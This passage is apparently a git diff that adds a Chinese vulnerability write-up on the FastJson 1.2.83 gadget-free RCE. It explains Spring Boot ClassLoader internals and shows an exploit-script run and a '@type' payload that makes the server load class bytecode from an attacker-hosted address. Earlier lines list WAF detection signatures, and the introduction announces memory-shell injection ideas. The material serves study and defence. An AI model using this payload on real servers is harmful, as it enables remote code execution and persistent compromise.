+不要用协议或字符黑名单,而应在规范化后将 `@type` 的值与该接口允许的完整类名集合做**精确匹配**;非字符串、未知类型、重复 `@type` 或任何编码后才落入白名单的异常形式均拒绝。`http:`、`jar:`、`file:`、`!`、`.proc.self.fd.`、`.dev.fd.` 和连续 FD 枚举可作为高置信告警特征,但不应成为唯一阻断条件。 + +WAF 只能覆盖大多数已知入口,是临时缓解,不替代 `safeMode`、出站限制和 fastjson2 迁移。 + +* * * + +## 六、总结与反思 + +### 技术层面 + +这条链的本质是**将 fastjson 的注解探测机制转化为一个远程类加载器**。攻击者通过控制类名(`@type` 值),将原本用于 classpath 资源查找的 `getResourceAsStream()` 变成 SSRF 入口,再将 ASM 注解验证的"通过信号"转为绕过 `autoType` 的通行证,最终由 Spring Boot 的 URL 协议处理器完成远程类定义。 + +### 工程层面 + +测绘结果揭示了一个现实:**漏洞的存在不等于所有部署都能沿同一条链利用**。ClassLoader、出站网络和操作系统会改变利用路径;但不能再因目标使用 JDK 17+ 就把风险降为 SSRF。对 Spring Boot fat-jar 环境,应结合实际 ClassLoader、操作系统和网络策略做验证,而不是只看 JDK 主版本。 + +### 防御层面 + +单点防御(如仅关闭 autoType)是不够的。纵深防御需要覆盖: + +- 配置层(`safeMode`) +- ClassLoader 层(审计实际资源查找与类加载链) +- 网络层(默认拒绝出站,并监控异常 class/JAR 与 `jar_cache*`) +- WAF 层(检测 payload 特征) +- 运行时层(持续升级 JDK,但不把升级 JDK 当作本漏洞修复) diff --git "a/books/\346\211\213\346\222\225 FastJson 1.2.83 RCE \345\216\237\347\220\206.md" "b/books/\346\211\213\346\222\225 FastJson 1.2.83 RCE \345\216\237\347\220\206.md" new file mode 100644 index 000000000..46863ad2a --- /dev/null +++ "b/books/\346\211\213\346\222\225 FastJson 1.2.83 RCE \345\216\237\347\220\206.md" @@ -0,0 +1,1118 @@ +# 手撕 FastJson 1.2.83 RCE 原理 +> QIANXIN Team +> 来源:https://forum.butian.net/share/5001 + +## 前言 + +最近 FastJson 1.2.83 无 gadget RCE 的讨论热度很高, 在 AI 时代依旧手撕一波原理机制, 除了发现一些 java 方面的 trick 外, 按照个人习惯同样将漏洞链路中一些无关紧要的部分做一些研究, 以搭建知识壁垒. 由于 fastjson 的无条件 RCE 需要利用爆破 fd,最终的 sink 点同样是类加载,并且内存马契合实战攻防场景,因此在此给出内存马注入思路。 + +## ClassLoader 问题 + +### AppClassLoader + +对于 AppClassLoader 不难理解, 在我们从 IDEA 进行运行一个 java 类时, IDEA 会先进行编译, 随后运行指定的 class 文件, 整个过程依赖于 classpath: + +```php +java +-cp /Users/heihu577/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target/classes:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-web/2.7.18/spring-boot-starter-web-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter/2.7.18/spring-boot-starter-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot/2.7.18/spring-boot-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-autoconfigure/2.7.18/spring-boot-autoconfigure-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-logging/2.7.18/spring-boot-starter-logging-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-json/2.7.18/spring-boot-starter-json-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/spring-core/5.3.31/spring-core-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-jcl/5.3.31/spring-jcl-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-context/5.3.31/spring-context-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-aop/5.3.31/spring-aop-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-beans/5.3.31/spring-beans-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-expression/5.3.31/spring-expression-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-web/5.3.31/spring-web-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-webmvc/5.3.31/spring-webmvc-5.3.31.jar:/Users/heihu577/.m2/repository/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-tomcat/2.7.18/spring-boot-starter-tomcat-2.7.18.jar:/Users/heihu577/.m2/repository/org/apache/tomcat/embed/tomcat-embed-core/9.0.83/tomcat-embed-core-9.0.83.jar:/Users/heihu577/.m2/repository/org/apache/tomcat/embed/tomcat-embed-el/9.0.83/tomcat-embed-el-9.0.83.jar:/Users/heihu577/.m2/repository/org/apache/tomcat/embed/tomcat-embed-websocket/9.0.83/tomcat-embed-websocket-9.0.83.jar:/Users/heihu577/.m2/repository/ch/qos/logback/logback-classic/1.2.12/logback-classic-1.2.12.jar:/Users/heihu577/.m2/repository/ch/qos/logback/logback-core/1.2.12/logback-core-1.2.12.jar:/Users/heihu577/.m2/repository/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.jar:/Users/heihu577/.m2/repository/org/apache/logging/log4j/log4j-to-slf4j/2.17.2/log4j-to-slf4j-2.17.2.jar:/Users/heihu577/.m2/repository/org/apache/logging/log4j/log4j-api/2.17.2/log4j-api-2.17.2.jar:/Users/heihu577/.m2/repository/org/slf4j/jul-to-slf4j/1.7.36/jul-to-slf4j-1.7.36.jar:/Users/heihu577/.m2/repository/jakarta/annotation/jakarta.annotation-api/1.3.5/jakarta.annotation-api-1.3.5.jar:/Users/heihu577/.m2/repository/org/yaml/snakeyaml/1.30/snakeyaml-1.30.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/core/jackson-databind/2.13.5/jackson-databind-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/core/jackson-annotations/2.13.5/jackson-annotations-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/core/jackson-core/2.13.5/jackson-core-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/datatype/jackson-datatype-jdk8/2.13.5/jackson-datatype-jdk8-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/datatype/jackson-datatype-jsr310/2.13.5/jackson-datatype-jsr310-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/module/jackson-module-parameter-names/2.13.5/jackson-module-parameter-names-2.13.5.jar +com.vuln.fastjson.Application +``` + +上方代码分为两个部分: `-cp & 类名`, 很标准的 java 应用程序启动 main 方法案例, 而 SpringBoot 依赖的一些比如 jackson 类库也能够通过`-cp(-classpath)`进行引入, 因此这里使用正常的 AppClassLoader 并不会遇到类无法找到问题, 对于 SpringBoot 开发者来说自然而然也没有必要定义其他的 ClassLoader(因为默认就能跑). + +### LaunchedURLClassLoader + +#### FatJar 说明 + +当我们使用: + +```php +mvn -f pom.xml package -DskipTests +``` + +进行生成 jar 包之后, 使用 FatJar 的方式运行: + +![image-20260722175108836.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f296248162a78bef794e1d15cce81e858fb5df3e.png) + +这里的 ClassLoader 变为了 LaunchedURLClassLoader, 对于该 ClassLoader 的说明: [https://juejin.cn/post/7320541744353083433](https://juejin.cn/post/7320541744353083433) + +由于 SpringBoot 的 FatJar 把项目所有第三方依赖都打包到 BOOT-INF/lib/ 下作为嵌套 jar,而 Java 原生的 URLClassLoader 无法加载「jar 里的 jar」这种嵌套结构,所以 SpringBoot 自定义了 ClassLoader(3.2 之前是 LaunchedURLClassLoader,3.2+ 是 LaunchedClassLoader)来直接从嵌套 jar 的 zip 字节流中读取 class,让业务代码能正常使用这些依赖。 + +比如我们当前这个项目可以通过 unzip -l 进行查看: + +```php +heihu577 @ ~/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target ❯ unzip -l fastjson-rce-env-1.0.0_副本.jar +Archive: fastjson-rce-env-1.0.0_副本.jar + Length Date Time Name +--------- ---------- ----- ---- + 0 07-22-2026 17:50 META-INF/ + 455 07-22-2026 17:50 META-INF/MANIFEST.MF + 0 02-01-1980 00:00 org/ + 0 02-01-1980 00:00 org/springframework/ + 0 02-01-1980 00:00 org/springframework/boot/ + 0 02-01-1980 00:00 org/springframework/boot/loader/ + 5871 02-01-1980 00:00 org/springframework/boot/loader/ClassPathIndexFile.class + 7675 02-01-1980 00:00 org/springframework/boot/loader/ExecutableArchiveLauncher.class + 2551 02-01-1980 00:00 org/springframework/boot/loader/JarLauncher.class + 1483 02-01-1980 00:00 org/springframework/boot/loader/LaunchedURLClassLoader$DefinePackageCallType.class + 1535 02-01-1980 00:00 org/springframework/boot/loader/LaunchedURLClassLoader$UseFastConnectionExceptionsEnumeration.class + 11154 02-01-1980 00:00 org/springframework/boot/loader/LaunchedURLClassLoader.class + 5932 02-01-1980 00:00 org/springframework/boot/loader/Launcher.class + 1536 02-01-1980 00:00 org/springframework/boot/loader/MainMethodRunner.class + 266 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$1.class + 1484 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$ArchiveEntryFilter.class + 8128 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$ClassPathArchives.class + 1953 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$PrefixMatchingArchiveFilter.class + 18267 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher.class + 1728 02-01-1980 00:00 org/springframework/boot/loader/WarLauncher.class + 0 02-01-1980 00:00 org/springframework/boot/loader/archive/ + 302 02-01-1980 00:00 org/springframework/boot/loader/archive/Archive$Entry.class + 511 02-01-1980 00:00 org/springframework/boot/loader/archive/Archive$EntryFilter.class + 4745 02-01-1980 00:00 org/springframework/boot/loader/archive/Archive.class + 6093 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$AbstractIterator.class + 2180 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$ArchiveIterator.class + 1857 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$EntryIterator.class + 1269 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$FileEntry.class + 2527 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$SimpleJarFileArchive.class + 5346 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive.class + 2884 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$AbstractIterator.class + 1981 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$EntryIterator.class + 1081 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$JarFileEntry.class + 2528 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$NestedArchiveIterator.class + 10349 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive.class + 0 02-01-1980 00:00 org/springframework/boot/loader/data/ + 485 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessData.class + 282 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile$1.class + 2772 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile$DataInputStream.class + 3259 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile$FileAccess.class + 4015 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile.class + 0 02-01-1980 00:00 org/springframework/boot/loader/jar/ + 1438 02-01-1980 00:00 org/springframework/boot/loader/jar/AbstractJarFile$JarFileType.class + 878 02-01-1980 00:00 org/springframework/boot/loader/jar/AbstractJarFile.class + 4976 02-01-1980 00:00 org/springframework/boot/loader/jar/AsciiBytes.class + 616 02-01-1980 00:00 org/springframework/boot/loader/jar/Bytes.class + 295 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord$1.class + 3319 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord$Zip64End.class + 2029 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord$Zip64Locator.class + 5029 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord.class + 6897 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryFileHeader.class + 4624 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryParser.class + 540 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryVisitor.class + 345 02-01-1980 00:00 org/springframework/boot/loader/jar/FileHeader.class + 13641 02-01-1980 00:00 org/springframework/boot/loader/jar/Handler.class + 3885 02-01-1980 00:00 org/springframework/boot/loader/jar/JarEntry.class + 1458 02-01-1980 00:00 org/springframework/boot/loader/jar/JarEntryCertification.class + 299 02-01-1980 00:00 org/springframework/boot/loader/jar/JarEntryFilter.class + 2299 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFile$1.class + 1299 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFile$JarEntryEnumeration.class + 16660 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFile.class + 1368 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$1.class + 2258 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$EntryIterator.class + 1281 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$Offsets.class + 1338 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$Zip64Offsets.class + 1334 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$ZipOffsets.class + 17280 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries.class + 3512 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileWrapper.class + 702 02-01-1980 00:00 org/springframework/boot/loader/jar/JarURLConnection$1.class + 4302 02-01-1980 00:00 org/springframework/boot/loader/jar/JarURLConnection$JarEntryName.class + 9399 02-01-1980 00:00 org/springframework/boot/loader/jar/JarURLConnection.class + 3559 02-01-1980 00:00 org/springframework/boot/loader/jar/StringSequence.class + 1813 02-01-1980 00:00 org/springframework/boot/loader/jar/ZipInflaterInputStream.class + 0 02-01-1980 00:00 org/springframework/boot/loader/jarmode/ + 293 02-01-1980 00:00 org/springframework/boot/loader/jarmode/JarMode.class + 2201 02-01-1980 00:00 org/springframework/boot/loader/jarmode/JarModeLauncher.class + 1292 02-01-1980 00:00 org/springframework/boot/loader/jarmode/TestJarMode.class + 0 02-01-1980 00:00 org/springframework/boot/loader/util/ + 5174 02-01-1980 00:00 org/springframework/boot/loader/util/SystemPropertyUtils.class + 0 07-22-2026 17:50 BOOT-INF/ + 0 07-22-2026 17:50 BOOT-INF/classes/ + 0 07-22-2026 17:46 BOOT-INF/classes/com/ + 0 07-22-2026 17:46 BOOT-INF/classes/com/vuln/ + 0 07-22-2026 17:46 BOOT-INF/classes/com/vuln/fastjson/ + 0 07-22-2026 17:50 META-INF/maven/ + 0 07-22-2026 17:50 META-INF/maven/com.vuln/ + 0 07-22-2026 17:50 META-INF/maven/com.vuln/fastjson-rce-env/ + 4244 07-22-2026 17:50 BOOT-INF/classes/com/vuln/fastjson/ParseController.class + 723 07-22-2026 17:50 BOOT-INF/classes/com/vuln/fastjson/Application.class + 41 07-22-2026 17:46 BOOT-INF/classes/application.properties + 1537 07-22-2026 17:48 META-INF/maven/com.vuln/fastjson-rce-env/pom.xml + 59 07-22-2026 17:50 META-INF/maven/com.vuln/fastjson-rce-env/pom.properties + 0 07-22-2026 17:50 BOOT-INF/lib/ + 128154 11-23-2023 07:16 BOOT-INF/lib/spring-boot-loader-2.7.18.jar + 1466652 11-23-2023 07:16 BOOT-INF/lib/spring-boot-2.7.18.jar + 1691093 11-23-2023 07:16 BOOT-INF/lib/spring-boot-autoconfigure-2.7.18.jar + 231811 03-23-2023 21:02 BOOT-INF/lib/logback-classic-1.2.12.jar + 448860 03-23-2023 21:02 BOOT-INF/lib/logback-core-1.2.12.jar + 41125 02-08-2022 13:31 BOOT-INF/lib/slf4j-api-1.7.36.jar + 18010 02-23-2022 13:30 BOOT-INF/lib/log4j-to-slf4j-2.17.2.jar + 302511 02-23-2022 13:28 BOOT-INF/lib/log4j-api-2.17.2.jar + 4519 02-08-2022 13:31 BOOT-INF/lib/jul-to-slf4j-1.7.36.jar + 25058 08-02-2019 11:08 BOOT-INF/lib/jakarta.annotation-api-1.3.5.jar + 1489305 02-01-1980 00:00 BOOT-INF/lib/spring-core-5.3.31.jar + 25161 11-16-2023 08:01 BOOT-INF/lib/spring-jcl-5.3.31.jar + 331605 12-14-2021 18:31 BOOT-INF/lib/snakeyaml-1.30.jar + 1537543 01-23-2023 00:47 BOOT-INF/lib/jackson-databind-2.13.5.jar + 75718 01-23-2023 00:03 BOOT-INF/lib/jackson-annotations-2.13.5.jar + 375186 01-23-2023 00:23 BOOT-INF/lib/jackson-core-2.13.5.jar + 34800 01-23-2023 01:26 BOOT-INF/lib/jackson-datatype-jdk8-2.13.5.jar + 121206 01-23-2023 01:26 BOOT-INF/lib/jackson-datatype-jsr310-2.13.5.jar + 9513 01-23-2023 01:26 BOOT-INF/lib/jackson-module-parameter-names-2.13.5.jar + 3546550 11-09-2023 20:57 BOOT-INF/lib/tomcat-embed-core-9.0.83.jar + 258314 11-09-2023 20:57 BOOT-INF/lib/tomcat-embed-el-9.0.83.jar + 283325 11-09-2023 20:57 BOOT-INF/lib/tomcat-embed-websocket-9.0.83.jar + 1642676 11-16-2023 08:02 BOOT-INF/lib/spring-web-5.3.31.jar + 706400 11-16-2023 08:02 BOOT-INF/lib/spring-beans-5.3.31.jar + 1029974 11-16-2023 08:03 BOOT-INF/lib/spring-webmvc-5.3.31.jar + 384535 11-16-2023 08:02 BOOT-INF/lib/spring-aop-5.3.31.jar + 1275645 11-16-2023 08:02 BOOT-INF/lib/spring-context-5.3.31.jar + 293174 11-16-2023 08:02 BOOT-INF/lib/spring-expression-5.3.31.jar + 671701 05-23-2022 00:59 BOOT-INF/lib/fastjson-1.2.83.jar + 29514 02-01-1980 00:00 BOOT-INF/lib/spring-boot-jarmode-layertools-2.7.18.jar + 1333 07-22-2026 17:50 BOOT-INF/classpath.idx + 212 07-22-2026 17:50 BOOT-INF/layers.idx +``` + +通过上方案例我们可以看到我们实际的业务代码量其实很少, 大部分引入的也都是一些其他第三方依赖, 通过归类的话可以归类为如下结果: + +```php +META-INF/ (SpringBoot FatJar 元数据目录) +├── META-INF/MANIFEST.MF (Jar 清单文件,指定 Main-Class 为 JarLauncher) + +org/ (SpringBoot Loader 启动引导层) +└── org/springframework/boot/loader/ + ├── ClassPathIndexFile.class (SpringBoot 启动需要) + ├── ExecutableArchiveLauncher.class (SpringBoot 启动需要) + ├── JarLauncher.class (SpringBoot 启动需要,主入口) + ├── LaunchedURLClassLoader.class (SpringBoot 启动需要,自定义 ClassLoader 核心) + ├── Launcher.class (SpringBoot 启动需要,启动器抽象类) + ├── MainMethodRunner.class (SpringBoot 启动需要,执行主方法) + ├── PropertiesLauncher.class (SpringBoot 启动需要) + ├── WarLauncher.class (SpringBoot 启动需要) + ├── archive/ (Archive 抽象,支持 Jar/Exploded 读取) + │ ├── Archive.class + │ ├── ExplodedArchive.class + │ └── JarFileArchive.class + ├── data/ (随机访问文件数据层) + │ └── RandomAccessDataFile.class + ├── jar/ (JarFile 解析器,支持嵌套 Jar 读取) + │ ├── Handler.class (URLStreamHandler,处理 jar: 协议) + │ ├── JarFile.class + │ ├── JarEntry.class + │ ├── JarURLConnection.class + │ └── ... + ├── jarmode/ (Jar 运行模式,如 layertools) + │ ├── JarMode.class + │ └── JarModeLauncher.class + └── util/ (工具类) + └── SystemPropertyUtils.class + +BOOT-INF/ (业务代码和依赖存放目录) +├── BOOT-INF/classes/ (业务代码编译后的 class 文件) +│ ├── com/vuln/fastjson/ +│ │ ├── Application.class (开发者自定义,@SpringBootApplication 启动类) +│ │ └── ParseController.class (开发者自定义,@RestController 控制器) +│ └── application.properties (开发者自定义,SpringBoot 配置文件) +├── BOOT-INF/lib/ (所有第三方依赖 Jar,共 30 个) +│ ├── spring-boot-2.7.18.jar (SpringBoot 核心) +│ ├── spring-boot-autoconfigure-2.7.18.jar (SpringBoot 自动配置) +│ ├── spring-core-5.3.31.jar (Spring 框架核心) +│ ├── spring-context-5.3.31.jar (Spring IoC 容器) +│ ├── spring-beans-5.3.31.jar (Spring Bean 工厂) +│ ├── spring-aop-5.3.31.jar (Spring AOP 支持) +│ ├── spring-web-5.3.31.jar (Spring Web 支持) +│ ├── spring-webmvc-5.3.31.jar (Spring MVC) +│ ├── tomcat-embed-core-9.0.83.jar (嵌入式 Tomcat 容器) +│ ├── tomcat-embed-el-9.0.83.jar (Tomcat EL 表达式) +│ ├── tomcat-embed-websocket-9.0.83.jar (Tomcat WebSocket) +│ ├── jackson-databind-2.13.5.jar (Jackson JSON 序列化) +│ ├── logback-classic-1.2.12.jar (Logback 日志实现) +│ ├── fastjson-1.2.83.jar (显式引入的 Fastjson 依赖) +│ └── ... (其他 SpringBoot 传递依赖) +├── BOOT-INF/classpath.idx (Classpath 索引文件) +└── BOOT-INF/layers.idx (Docker 分层索引文件) + +META-INF/maven/ (Maven 构建元数据) +└── META-INF/maven/com.vuln/fastjson-rce-env/ + ├── pom.xml (项目 POM 文件) + └── pom.properties (Maven 属性) +``` + +另外如果你学习过 jar 的知识的话: + +![image-20260722222245647.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-91d11d31920e5485157815ae756f5f22c842e684.png) + +#### 动态调试 JarLauncher + +##### 调试思路 + +由于 SpringBoot 在 FatJar 中才会应用到`JarLauncher`, 因此我们只能通过远程调试来观察到这一过程, 另外我们需要引入 Maven 依赖: + +```php + + org.springframework.boot + spring-boot-loader + +``` + +并且启动已经编译好的 FatJar 时使用远程参数: + +```php +java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar fastjson-rce-env-1.0.0.jar +``` + +断点打到`JarLauncher::main`方法中: + +![image-20260722222936889.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-eebea4ce7e8662c52685664bd584478816be650a.png) + +##### 筛选 BOOT-INF 目录生成 Iterator + +这里会实例化自己本身, 随后调用到`launch`方法中, 跟进: + +![xw_20260725200347.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ac2dff22add92d454a89a1ad7f1b54a94e57ed7d.png) + +这里我们可以看到, 最终会返回一个 Iterator 迭代器, 该迭代器根据 FatJar 中的`BOOT-INF`下的目录信息值能够通过依次调用 next 方法进行依次取出. 该 Iterator 保存: `classes/ 目录 + lib/*.jar 文件`. + +##### 创建 LaunchedURLClassLoader + +![image-20260722230608609.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-782a3c63505ac9c001abcb359ecad9c0fdd035b2.png) + +从这里我们已经能够看到`LaunchedURLClassLoader`的身影了, 创建过程: + +![image-20260722231644342.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-097ae25120177d50918bb786ec161fdd879dfc05.png) + +这里创建完毕`LaunchedURLClassLoader`之后, 会来获取`MANIFEST.MF 文件中的 Start-Class`, 随后调用`launch`方法进入启动类逻辑: + +![image-20260722232349555.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c9d76789187b6838e588f5e5d108498c16c4011f.png) + +原因是以 @SpringBootApplication 注解修饰的类, 在打包时会设置 MANIFEST.MF 文件的 Start-Class 键的值. + +#### LaunchedURLClassLoader 含义 + +首先我们对 FatJar 进行资源查找: + +```java +package com.vuln.fastjson; + +import java.io.InputStream; +import java.net.URL; +import java.net.URLClassLoader; +import java.io.BufferedReader; +import java.io.InputStreamReader; + +public class Test { + public static void main(String[] args) throws Exception { + + + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{ + new URL("jar:file:/Users/heihu577/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target/fastjson-rce-env-1.0.0.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/") + }); + + + + + + + + InputStream resourceAsStream = urlClassLoader.getResourceAsStream("META-INF/MANIFEST.MF"); + + if (resourceAsStream != null) { + System.out.println("✅ 找到 MANIFEST.MF"); + BufferedReader reader = new BufferedReader(new InputStreamReader(resourceAsStream)); + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + } + reader.close(); + } else { + System.out.println("❌ 未找到 MANIFEST.MF"); + } + + + try { + Class clazz = urlClassLoader.loadClass("com.alibaba.fastjson.JSON"); + System.out.println("✅ 成功加载类: " + clazz.getName()); + System.out.println(" ClassLoader: " + clazz.getClassLoader()); + } catch (ClassNotFoundException e) { + System.out.println("❌ 未找到类: com.alibaba.fastjson.JSON"); + e.printStackTrace(); + } + } +} +``` + +上述案例结果: + +```php +✅ 找到 MANIFEST.MF +Manifest-Version: 1.0 +Created-By: 1.7.0_07 (Oracle Corporation) + +❌ 未找到类: com.alibaba.fastjson.JSON +java.lang.ClassNotFoundException: com.alibaba.fastjson.JSON + at java.net.URLClassLoader.findClass(URLClassLoader.java:382) + at java.lang.ClassLoader.loadClass(ClassLoader.java:424) + at java.lang.ClassLoader.loadClass(ClassLoader.java:357) + at com.vuln.fastjson.Test.main(Test.java:42) +``` + +> 上述 MANIFEST.MF 能够找到是因为找到了 ClassLoader 中其他类的 MANIFEST.MF, 例如: jar:file:/Users/heihu577/Library/Caches/JetBrains/IntelliJIdea2025.3/captureAgent/debugger-agent.jar!/META-INF/MANIFEST.MF + +可以看到, 资源可以通过 jar 协议中的双`!/`的姿势找到资源(这里能够找到实际上是因为**getResourceAsStream**同样遵循双亲委派机制), 但类却无法找到, 若想要成功找到类, 则需要使用`JarFile.registerUrlProtocolHandler();`进行注册, 完整案例: + +```java +package com.vuln.fastjson; + +import org.springframework.boot.loader.jar.JarFile; + +import java.io.InputStream; +import java.net.URL; +import java.net.URLClassLoader; +import java.io.BufferedReader; +import java.io.InputStreamReader; + +public class Test { + public static void main(String[] args) throws Exception { + JarFile.registerUrlProtocolHandler(); + + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{ + new URL("jar:file:/Users/heihu577/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target/fastjson-rce-env-1.0.0.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/") + }); + + + InputStream resourceAsStream = urlClassLoader.getResourceAsStream("META-INF/MANIFEST.MF"); + + if (resourceAsStream != null) { + System.out.println("✅ 找到 MANIFEST.MF"); + BufferedReader reader = new BufferedReader(new InputStreamReader(resourceAsStream)); + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + } + reader.close(); + } else { + System.out.println("❌ 未找到 MANIFEST.MF"); + } + + + try { + Class clazz = urlClassLoader.loadClass("com.alibaba.fastjson.JSON"); + System.out.println("✅ 成功加载类: " + clazz.getName()); + System.out.println(" ClassLoader: " + clazz.getClassLoader()); + } catch (ClassNotFoundException e) { + System.out.println("❌ 未找到类: com.alibaba.fastjson.JSON"); + e.printStackTrace(); + } + } +} +``` + +该方法在`筛选 BOOT-INF 目录生成 Iterator`中截图有说明了, 在这里我们看一下效果. + +## 漏洞复现 & 分析(http 协议 & JDK8) + +### 复现过程 + +这里很简单, 直接使用 GitHub 上封装好的脚本即可. 先使用`scripts/build.sh 127.0.0.1 19090 id-oob jdk8-http`进行生成生成字节码文件, 随后使用`python3 exploit.py 127.0.0.1 19090 http://localhost:18080/ /parse --mode jdk8-http`来进行攻击目标 fastjson 站点, 如图: + +![image-20260722235522750.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-054eeb99e0841a28c141832fd02bf0fa2633f9b6.png) + +这里手动的 Payload 可以为: + +```php +{"@type": "http:..2130706433:2333.d"} +``` + +需要准备`http:..2130706433:2333.d`这种类的字节码挂在攻击机上. + +### 漏洞分析 + +漏洞形成原理很简单, 锁定在`ParserConfig::checkAutoType`方法中: + +![image-20260723000637132.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c8115b15a2233804ae787d5930fedd4e63d3a579.png) + +> 图中标明的`调用 loadClass 加载类到内存`标错了, 应该说明为: `调用 loadClass 查找类资源`. + +这里无论是否开启了`autoType`, 由于判断分支中存在`@JSONType`注解, 导致能够成功进入到分支中. 这里着重说一下`LaunchedURLClassLoader`, 该类在 loadClass 时若会发送 HTTP 请求: + +![image-20260724130846063.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-317356bb4964b07efb8650a61480784921447906.png) + +具体原因看下方分析. + +#### 漏洞本质 & URLClassLoader trick【loadClass & getResourceAsStream】 + +很简单, 下方代码能够发送 HTTP 请求: + +```java +URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{ + new URL("jar:http://127.0.0.1:2333/a.jar!/"), +},Test.class.getClassLoader()); + +urlClassLoader.loadClass("com.heihu577.hahaha"); +``` + +当然, 在查找资源时同样能够发送请求, 仅限于明确了 URL 的情况(URLClassLoader 有传值): + +```java +package com.vuln.fastjson; + +import java.io.InputStream; +import java.net.URL; +import java.net.URLClassLoader; + +public class Test { + public static void main(String[] args) throws Exception { + ClassLoader classLoader = Test.class.getClassLoader(); + classLoader = new URLClassLoader(new URL[]{ + new URL("jar:http://127.0.0.1:2333/a.jar!/"), + },classLoader); + + InputStream resourceAsStream = classLoader.getResourceAsStream("asdf"); + } +} +``` + +上述两个案例从正常开发角度不难理解, 本质就是要通过`jar:http://`远程中拉取资源的. 但单纯 AppClassLoader 却不会发送请求, 直接返回 NULL: + 